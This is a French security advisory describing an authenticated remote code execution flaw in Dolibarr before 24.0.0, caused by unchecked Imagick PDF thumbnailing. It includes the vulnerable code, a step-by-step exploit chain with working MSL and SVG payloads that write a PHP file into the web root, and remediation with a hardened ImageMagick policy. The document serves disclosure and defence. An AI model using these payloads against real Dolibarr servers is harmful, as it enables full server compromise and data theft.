Exécution de code à distance via Imagick dans Dolibarr
- Produit
- Dolibarr ERP/CRM
- Sévérité
- High
- Versions affectées
- < 24.0.0
- Version corrigée
- 24.0.0
Introduction
Dolibarr est un ERP/CRM open source utilisé par les TPE, PME et associations pour gérer devis, factures, commandes, projets, stocks et notes de frais. La plupart de ses modules permettent d'attacher des documents aux objets métier et génèrent automatiquement un aperçu des PDF téléversés.
Description
Nous avons identifié une vulnérabilité à haut risque dans Dolibarr, affectant les versions antérieures à la 24.0.0. Lorsqu'un PDF est attaché à un objet métier, Dolibarr génère une miniature de sa première page à l'aide de la bibliothèque Imagick, sans vérifier le type réel du fichier. Un attaquant peut donc téléverser un fichier SVG portant une extension .pdf : Imagick l'interprète comme du SVG et non comme un PDF.
Or la configuration par défaut d'Imagick autorise l'interprétation du SVG et du Magick Scripting Language (MSL). En chaînant les deux, un utilisateur authentifié disposant du droit de gérer un objet (par exemple une proposition commerciale) peut faire écrire un fichier PHP arbitraire dans l'arborescence web, et donc obtenir une exécution de code à distance sur le serveur.
| Élément | Valeur |
|---|---|
| CVE | En cours d'attribution |
| CWE | CWE-434 : Unrestricted Upload of File with Dangerous Type |
| Score CVSS 3.1 | 7.5 (High) |
| Vecteur | CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H |
Le AC:H reflète deux prérequis hors du contrôle de l'attaquant : l'extension Imagick est optionnelle et non requise au fonctionnement de Dolibarr et ImageMagick doit tourner avec une politique permissive.
Chronologie
| Date | Description |
|---|---|
| 22/04/2026 | Signalement de la vulnérabilité à l'équipe Dolibarr |
| 23/04/2026 | Accusé de réception et confirmation par l'équipe Dolibarr |
| 20/08/2026 | Publication du correctif (commit 9b6368b), intégré à la version 24.0.0 |
Détails techniques
Le déclencheur : la miniature de PDF
Après le téléversement d'un PDF, Dolibarr génère un aperçu PNG de sa première page. Le code est identique dans tous les modules concernés ; par exemple dans les notes de frais, htdocs/expensereport/card.php :
$pdfexists = file_exists($filepdf);
if ($pdfexists) {
if (!file_exists($fileimage) || (filemtime($fileimage) < filemtime($filepdf))) {
if (!getDolGlobalString('MAIN_DISABLE_PDF_THUMBS')) {
include_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php';
// Convertit la première page du PDF en _preview.png
$ret = dol_convert_file($filepdf, 'png', $fileimage, '0');
}
}
}
La conversion est déléguée à dol_convert_file(), dans htdocs/core/lib/files.lib.php, qui confie directement le fichier à Imagick :
function dol_convert_file($fileinput, $ext = 'png', $fileoutput = '', $page = '')
{
if (class_exists('Imagick')) {
$image = new Imagick();
try {
$filetoconvert = $fileinput.(($page != '') ? '['.$page.']' : '');
$ret = $image->readImage($filetoconvert);
}
...
Aucun contrôle strict n'est effectué sur le type du fichier avant l'appel à readImage(). Or ImageMagick ne se fie pas à l'extension : il détermine le format à partir du contenu. Il suffit donc de téléverser un fichier au contenu SVG mais nommé .pdf pour déclencher l'interprétation SVG au lieu de la lecture d'un PDF.
La politique Imagick « Open » par défaut
Par défaut, Imagick est installé avec une politique policy.xml permissive qui n'interdit ni le coder SVG, ni le coder MSL. Le Magick Scripting Language est un format XML d'ImageMagick décrivant une suite d'opérations, lire une ressource, la transformer, puis écrire le résultat sur le disque à un emplacement arbitraire. C'est cette capacité d'écriture qui transforme la confusion de format en exécution de code.
Chaîne d'exploitation vers la RCE
L'attaque se mène depuis un module qui génère des miniatures de PDF, ici les propositions commerciales. Elle ne requiert que le droit de créer une proposition et d'y attacher des documents.
1. Préparer la cible. Créer et valider une proposition (elle reçoit une référence, par exemple PR2604-0001), puis supprimer le PDF généré automatiquement.
2. Déposer le script MSL. Téléverser sur la proposition un fichier contenant le MSL suivant. Il lit une chaîne PHP via le pseudo-format caption: et l'écrit dans un fichier exec.php (le payload de démonstration se limite ici à phpinfo()) :
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:<?php phpinfo(); ?>"/>
<write filename="info:./exec.php" />
</image>
Le fichier est stocké par Dolibarr sous documents/propale/PR2604-0001/PR2604-0001-msl.txt.
3. Déclencher l'interprétation. Téléverser le « PDF » de la proposition, en réalité un SVG, nommé avec la référence de la proposition, par exemple PR2604-0001.pdf. Son élément image référence le script MSL déposé à l'étape 2 via le pseudo-protocole msl: :
<svg width="1000" height="1000" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg">
<image xlink:href="msl:../../../documents/propale/PR2604-0001/PR2604-0001-msl.txt" width="1000" height="1000" />
</svg>
Lorsque Dolibarr génère la miniature, Imagick interprète le SVG, suit la référence msl:, exécute le script MSL et écrit le fichier PHP. Le fichier write étant relatif au répertoire de travail du processus, il atterrit dans l'arborescence servie par le serveur web, par exemple /htdocs/comm/propal/exec.php.
4. Exécuter. Le fichier PHP est alors accessible et interprété par le serveur : GET /comm/propal/exec.php exécute son contenu. En remplaçant phpinfo() par une commande, l'attaquant obtient l'exécution de code arbitraire sur le serveur.
Impact
- Écriture de fichiers arbitraires dans l'arborescence web du serveur
- Exécution de code à distance, et donc compromission complète du serveur (lecture des identifiants de base de données, pivot, etc.)
Remédiation
La vulnérabilité est corrigée dans la version 24.0.0 de Dolibarr. Nous recommandons de mettre à jour toute instance vers cette version ou une version ultérieure.
En complément, et pour les instances qui ne peuvent pas être mises à jour immédiatement, nous recommandons :
- de désactiver la génération de miniatures de PDF si elle n'est pas nécessaire (option
MAIN_DISABLE_PDF_THUMBS) ; - de durcir la politique de sécurité d'ImageMagick (
policy.xml) pour interdire les coders dangereux, en particulier SVG, MSL, TEXT et les pseudo-protocoles de fichiers.
<policymap>
<policy domain="coder" rights="none" pattern="{SVG,MSVG,MSL,TEXT,URL,HTTP,HTTPS}" />
<policy domain="path" rights="none" pattern="@*" />
</policymap>
Ressources
Continuer la lecture
Parlez-nous de votre projet.
Discutons ensemble de vos besoins et attentes pour vous proposer un service sur mesure.

